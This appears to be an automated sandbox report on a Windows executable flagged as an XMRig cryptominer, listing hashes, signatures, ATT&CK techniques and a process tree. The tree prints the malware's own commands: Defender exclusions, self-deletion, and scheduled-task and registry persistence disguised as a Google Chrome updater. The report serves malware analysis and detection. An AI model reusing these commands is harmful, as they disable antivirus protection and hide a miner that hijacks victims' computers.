xmrig | 67fb42345c7c1d330bea4fe6e0d8695cc715af98dec4fbac9cac330831052642

max time kernel
338s
max time network
1792s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
24-12-2023 12:01

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General

Target

qM5GMXBk6hJE6Y5e (19).exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 1808 created 1140	1808	qM5GMXBk6hJE6Y5e (19).exe	18
PID 1808 created 1140	1808	qM5GMXBk6hJE6Y5e (19).exe	18
PID 1808 created 1140	1808	qM5GMXBk6hJE6Y5e (19).exe	18
PID 1808 created 1140	1808	qM5GMXBk6hJE6Y5e (19).exe	18
PID 2944 created 1140	2944	updater.exe	18
PID 2944 created 1140	2944	updater.exe	18
PID 2944 created 1140	2944	updater.exe	18
PID 2944 created 1140	2944	updater.exe	18
PID 1452 created 1140	1452	conhost.exe	18
PID 2944 created 1140	2944	updater.exe	18

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

resource	yara_rule
behavioral9/memory/2928-69-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2928-71-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2928-72-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2928-74-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2928-78-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2928-80-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2928-82-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2928-84-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2928-86-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2928-93-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2928-95-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2928-97-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2928-99-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2928-101-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2928-103-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2928-105-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2928-107-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2928-109-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2928-111-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2928-113-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2928-115-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2928-117-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2928-119-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2928-121-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2928-123-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2928-125-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2928-127-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2928-129-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2928-131-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2928-133-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2544	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2944	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
1576	taskeng.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral9/memory/2928-65-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2928-69-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2928-71-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2928-72-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2928-74-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2928-78-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2928-80-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2928-82-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2928-84-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2928-86-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2928-93-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2928-95-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2928-97-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2928-99-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2928-101-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2928-103-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2928-105-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2928-107-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2928-109-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2928-111-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2928-113-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2928-115-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2928-117-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2928-119-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2928-121-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2928-123-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2928-125-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2928-127-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2928-129-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2928-131-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2928-133-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2944 set thread context of 1452	2944	updater.exe	51
PID 2944 set thread context of 2928	2944	updater.exe	46

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	qM5GMXBk6hJE6Y5e (19).exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2864	schtasks.exe
2816	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1260	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = a02782607f36da01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
1808	qM5GMXBk6hJE6Y5e (19).exe
1808	qM5GMXBk6hJE6Y5e (19).exe
2096	powershell.exe
1808	qM5GMXBk6hJE6Y5e (19).exe
1808	qM5GMXBk6hJE6Y5e (19).exe
2556	powershell.exe
1808	qM5GMXBk6hJE6Y5e (19).exe
1808	qM5GMXBk6hJE6Y5e (19).exe
1808	qM5GMXBk6hJE6Y5e (19).exe
1808	qM5GMXBk6hJE6Y5e (19).exe
2548	powershell.exe
2944	updater.exe
2944	updater.exe
352	powershell.exe
2944	updater.exe
2944	updater.exe
1592	powershell.exe
2944	updater.exe
2944	updater.exe
2944	updater.exe
2944	updater.exe
1452	conhost.exe
1452	conhost.exe
2944	updater.exe
2944	updater.exe

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2096	powershell.exe
Token: SeDebugPrivilege	2556	powershell.exe
Token: SeDebugPrivilege	2548	powershell.exe
Token: SeDebugPrivilege	352	powershell.exe
Token: SeDebugPrivilege	1592	powershell.exe
Token: SeDebugPrivilege	2944	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1260	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1260	WMIC.exe
Token: SeSecurityPrivilege	1260	WMIC.exe
Token: SeTakeOwnershipPrivilege	1260	WMIC.exe
Token: SeLoadDriverPrivilege	1260	WMIC.exe
Token: SeSystemtimePrivilege	1260	WMIC.exe
Token: SeBackupPrivilege	1260	WMIC.exe
Token: SeRestorePrivilege	1260	WMIC.exe
Token: SeShutdownPrivilege	1260	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1260	WMIC.exe
Token: SeUndockPrivilege	1260	WMIC.exe
Token: SeManageVolumePrivilege	1260	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1260	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1260	WMIC.exe
Token: SeSecurityPrivilege	1260	WMIC.exe
Token: SeTakeOwnershipPrivilege	1260	WMIC.exe
Token: SeLoadDriverPrivilege	1260	WMIC.exe
Token: SeSystemtimePrivilege	1260	WMIC.exe
Token: SeBackupPrivilege	1260	WMIC.exe
Token: SeRestorePrivilege	1260	WMIC.exe
Token: SeShutdownPrivilege	1260	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1260	WMIC.exe
Token: SeUndockPrivilege	1260	WMIC.exe
Token: SeManageVolumePrivilege	1260	WMIC.exe
Token: SeLockMemoryPrivilege	2928	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2556 wrote to memory of 2816	2556	powershell.exe	31
PID 2556 wrote to memory of 2816	2556	powershell.exe	31
PID 2556 wrote to memory of 2816	2556	powershell.exe	31
PID 2544 wrote to memory of 2628	2544	cmd.exe	32
PID 2544 wrote to memory of 2628	2544	cmd.exe	32
PID 2544 wrote to memory of 2628	2544	cmd.exe	32
PID 2548 wrote to memory of 2564	2548	powershell.exe	33
PID 2548 wrote to memory of 2564	2548	powershell.exe	33
PID 2548 wrote to memory of 2564	2548	powershell.exe	33
PID 1576 wrote to memory of 2944	1576	taskeng.exe	34
PID 1576 wrote to memory of 2944	1576	taskeng.exe	34
PID 1576 wrote to memory of 2944	1576	taskeng.exe	34
PID 1592 wrote to memory of 2864	1592	powershell.exe	52
PID 1592 wrote to memory of 2864	1592	powershell.exe	52
PID 1592 wrote to memory of 2864	1592	powershell.exe	52
PID 2944 wrote to memory of 1452	2944	updater.exe	51
PID 1444 wrote to memory of 1260	1444	cmd.exe	47
PID 1444 wrote to memory of 1260	1444	cmd.exe	47
PID 1444 wrote to memory of 1260	1444	cmd.exe	47
PID 2944 wrote to memory of 2928	2944	updater.exe	46

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (19).exe
"C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (19).exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:1808

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1140
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2096
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (19).exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2544
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2548
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2556
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:352
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:1444
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:1260
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2928
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:1492
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:1452
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1592

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
1⤵
- Creates scheduled task(s)
PID:2816

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2628

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
1⤵
PID:2564

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2944

C:\Windows\system32\taskeng.exe
taskeng.exe {34967AAD-ACAF-49DE-845F-309512E1773A} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1576

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
1⤵
- Creates scheduled task(s)
PID:2864

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
95KB

MD5
958f8e823fd733100862c662ec3ef71c

SHA1
44740f583b7fe776b237a52b8f81122e6e24f436

SHA256
4045401a93d26fd62986935ba0673d6427bade8d1f64153c8047b268a3287f1c

SHA512
dfdb7b90d4e9817e38354304360a0609631df0050165da4ac5bfd9b1aaf2b22029f71e4740d7b2487cb36f9369f0586c08401bb70b967d990c319a2231eec216

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
134KB

MD5
f7240934a17748c3e18e7ddd7e044ddb

SHA1
f7c54dbfb9de5f246db10719fee5342c50da0bae

SHA256
e086ad9c2d589947b9db923b4e08a8d9f7da680be080307cc55905a9b276d895

SHA512
2becf56bb291fe21fa79748b48cc279aecd40f24f9184720fb7d313af8c9c58eff6558d0422665a070002dce657d26d4600212b580e5a399c9a399d60def1c2d

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
d6796c1acd21725e2c892e4ccfd04bd0

SHA1
212711c39fec7bc6d459661a3d3e5caa2af16233

SHA256
1a1a172d8cddcaa6585a53ddc2951d52699736f7f22f113dc51cbcf8f043621c

SHA512
e690a27e392b98137b2d4487994463822477b803a1567f6b8d3d4114c5820eec46dfb281cb8c80aac9d833c61de38f53b3e32d4a92bf810da0903210e4da7ad4

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
129KB

MD5
b79f98b8d026cb3dd6dc3593578e129e

SHA1
2bf3afef6ab296d719126e30d12961ded06d119d

SHA256
c4b26789b2f6d5c612ca84d6a97027dbd8a5b70685e8208dc862406dd89087ed

SHA512
79cced0880e33332e9916f36425586882009483253d0df6d2a62c37682f41f5a113ed6d4b9bd18700ed77d2c4ff26c26c4fb34932821e7563f04dc9a989bcf6f

Download Submit
memory/352-49-0x000007FEF5510000-0x000007FEF5EAD000-memory.dmp

Filesize
9.6MB

Download
memory/352-45-0x0000000001590000-0x0000000001610000-memory.dmp

Filesize
512KB

Download
memory/352-44-0x000007FEF5510000-0x000007FEF5EAD000-memory.dmp

Filesize
9.6MB

Download
memory/352-47-0x0000000001590000-0x0000000001610000-memory.dmp

Filesize
512KB

Download
memory/352-48-0x0000000001590000-0x0000000001610000-memory.dmp

Filesize
512KB

Download
memory/352-46-0x000007FEF5510000-0x000007FEF5EAD000-memory.dmp

Filesize
9.6MB

Download
memory/1452-73-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1452-68-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1592-50-0x000007FEF5EB0000-0x000007FEF684D000-memory.dmp

Filesize
9.6MB

Download
memory/1592-51-0x00000000014F0000-0x0000000001570000-memory.dmp

Filesize
512KB

Download
memory/1592-53-0x00000000014F0000-0x0000000001570000-memory.dmp

Filesize
512KB

Download
memory/1592-52-0x000007FEF5EB0000-0x000007FEF684D000-memory.dmp

Filesize
9.6MB

Download
memory/1592-56-0x000007FEF5EB0000-0x000007FEF684D000-memory.dmp

Filesize
9.6MB

Download
memory/1592-54-0x00000000014F0000-0x0000000001570000-memory.dmp

Filesize
512KB

Download
memory/1592-55-0x00000000014F0000-0x0000000001570000-memory.dmp

Filesize
512KB

Download
memory/1808-27-0x000000013F460000-0x000000013F671000-memory.dmp

Filesize
2.1MB

Download
memory/1808-0-0x000000013F460000-0x000000013F671000-memory.dmp

Filesize
2.1MB

Download
memory/2096-6-0x0000000001E30000-0x0000000001E38000-memory.dmp

Filesize
32KB

Download
memory/2096-8-0x00000000028A0000-0x0000000002920000-memory.dmp

Filesize
512KB

Download
memory/2096-11-0x00000000028A4000-0x00000000028A7000-memory.dmp

Filesize
12KB

Download
memory/2096-12-0x000007FEF5EB0000-0x000007FEF684D000-memory.dmp

Filesize
9.6MB

Download
memory/2096-10-0x00000000028A0000-0x0000000002920000-memory.dmp

Filesize
512KB

Download
memory/2096-9-0x000007FEF5EB0000-0x000007FEF684D000-memory.dmp

Filesize
9.6MB

Download
memory/2096-7-0x000007FEF5EB0000-0x000007FEF684D000-memory.dmp

Filesize
9.6MB

Download
memory/2096-5-0x000000001B4E0000-0x000000001B7C2000-memory.dmp

Filesize
2.9MB

Download
memory/2548-36-0x0000000002860000-0x00000000028E0000-memory.dmp

Filesize
512KB

Download
memory/2548-33-0x000007FEF5EB0000-0x000007FEF684D000-memory.dmp

Filesize
9.6MB

Download
memory/2548-34-0x0000000002860000-0x00000000028E0000-memory.dmp

Filesize
512KB

Download
memory/2548-38-0x0000000002860000-0x00000000028E0000-memory.dmp

Filesize
512KB

Download
memory/2548-39-0x000007FEF5EB0000-0x000007FEF684D000-memory.dmp

Filesize
9.6MB

Download
memory/2548-37-0x0000000002860000-0x00000000028E0000-memory.dmp

Filesize
512KB

Download
memory/2548-35-0x000007FEF5EB0000-0x000007FEF684D000-memory.dmp

Filesize
9.6MB

Download
memory/2556-24-0x0000000002820000-0x00000000028A0000-memory.dmp

Filesize
512KB

Download
memory/2556-19-0x0000000001D60000-0x0000000001D68000-memory.dmp

Filesize
32KB

Download
memory/2556-20-0x000007FEF5510000-0x000007FEF5EAD000-memory.dmp

Filesize
9.6MB

Download
memory/2556-18-0x000000001B610000-0x000000001B8F2000-memory.dmp

Filesize
2.9MB

Download
memory/2556-23-0x0000000002820000-0x00000000028A0000-memory.dmp

Filesize
512KB

Download
memory/2556-22-0x000007FEF5510000-0x000007FEF5EAD000-memory.dmp

Filesize
9.6MB

Download
memory/2556-21-0x0000000002820000-0x00000000028A0000-memory.dmp

Filesize
512KB

Download
memory/2556-25-0x000007FEF5510000-0x000007FEF5EAD000-memory.dmp

Filesize
9.6MB

Download
memory/2928-78-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2928-97-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2928-66-0x0000000000F50000-0x0000000000F70000-memory.dmp

Filesize
128KB

Download
memory/2928-67-0x0000000000FC0000-0x0000000000FE0000-memory.dmp

Filesize
128KB

Download
memory/2928-69-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2928-64-0x00000000001B0000-0x00000000001D0000-memory.dmp

Filesize
128KB

Download
memory/2928-71-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2928-72-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2928-65-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2928-75-0x0000000000F50000-0x0000000000F70000-memory.dmp

Filesize
128KB

Download
memory/2928-76-0x0000000000FC0000-0x0000000000FE0000-memory.dmp

Filesize
128KB

Download
memory/2928-74-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2928-133-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2928-80-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2928-82-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2928-84-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2928-86-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2928-93-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2928-95-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
